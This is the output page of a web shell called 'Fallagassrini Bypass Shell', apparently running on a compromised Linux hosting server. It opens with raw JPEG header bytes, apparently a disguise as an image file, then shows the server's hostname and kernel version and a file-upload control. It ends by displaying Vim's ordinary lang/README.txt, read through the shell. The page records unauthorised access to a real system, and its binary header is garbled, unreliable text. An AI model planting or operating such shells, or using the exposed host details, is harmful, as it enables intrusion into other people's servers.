JFIF;CREATOR: gd-jpeg v1.0 (using IJG JPEG v80), quality = 85 C  !"$"$C$^" }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ? C^",k8`98?þ. s$ֱ$Xw_Z¿2b978%Q}s\ŴqXxzK1\@N2<JY{lF/Z=N[xrB}FJۨ<yǽw 5o۹^s(!fF*zn5`Z}Ҋ">Ir{_+<$$C_UC)^r25d:(c⣕U .fpSnFe\Ӱ.չ8# m=8iO^)R=^*_:M3x8k>(yDNYҵ/v-]WZ}h[*'ym&e`Xg>%̲yk߆՞Kwwrd󞼎 r;M<[AC¤ozʪ+h%BJcd`*ǎVz%6}G;mcՊ~b_aaiiE4jPLU<Ɗvg?q~!vc DpA/m|=-nux^Hޔ|mt&^ 唉KH?񯣾 ^]G\4#r qRRGV!i~眦]Ay6O#gm&;UV BH ~Y8( J4{U| 14%v0?6#{t񦊊#+{E8v??c9R]^Q,h#i[Y'Š+xY佑VR{ec1%|]p=Vԡʺ9rOZY L(^*;O'ƑYxQdݵq~5_uk{yH$HZ(3 )~G Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /usr/share/vim/vim74/lang/

Linux 141.162.178.68.host.secureserver.net 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Upload File :
Current File : //usr/share/vim/vim74/lang/README.txt

Language files for Vim

Translated menus
----------------

The contents of each menu file is a sequence of lines with "menutrans"
commands.  Read one of the existing files to get an idea of how this works.

More information in the on-line help:

	:help multilang-menus
	:help :menutrans
	:help 'langmenu'
	:help :language

The "$VIMRUNTIME/menu.vim" file will search for a menu translation file.  This
depends on the value of the "v:lang" variable.

	"menu_" . v:lang . ".vim"

When the 'menutrans' option is set, its value will be used instead of v:lang.

The file name is always lower case.  It is the full name as the ":language"
command shows (the LC_MESSAGES value).

For example, to use the Big5 (Taiwan) menus on MS-Windows the $LANG will be

	Chinese(Taiwan)_Taiwan.950

and use the menu translation file:

	$VIMRUNTIME/lang/menu_chinese(taiwan)_taiwan.950.vim

On Unix you should set $LANG, depending on your shell:

	csh/tcsh:	setenv LANG "zh_TW.Big5"
	sh/bash/ksh:	export LANG="zh_TW.Big5"

and the menu translation file is:

	$VIMRUNTIME/lang/menu_zh_tw.big5.vim

The menu translation file should set the "did_menu_trans" variable so that Vim
will not load another file.


AUTOMATIC CONVERSION

When Vim was compiled with multi-byte support, conversion between latin1 and
UTF-8 will always be possible.  Other conversions depend on the iconv
library, which is not always available.
For UTF-8 menu files which only use latin1 characters, you can rely on Vim
doing the conversion.  Let the UTF-8 menu file source the latin1 menu file,
and put "scriptencoding latin1" in that one.
Other conversions may not always be available (e.g., between iso-8859-# and
MS-Windows codepages), thus the converted menu file must be available.


Translated messages
-------------------

This requires doing "make install" in the "src" directory.  It will compile
the portable files "src/po/*.po" into binary ".mo" files and place them in the
right directory.

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net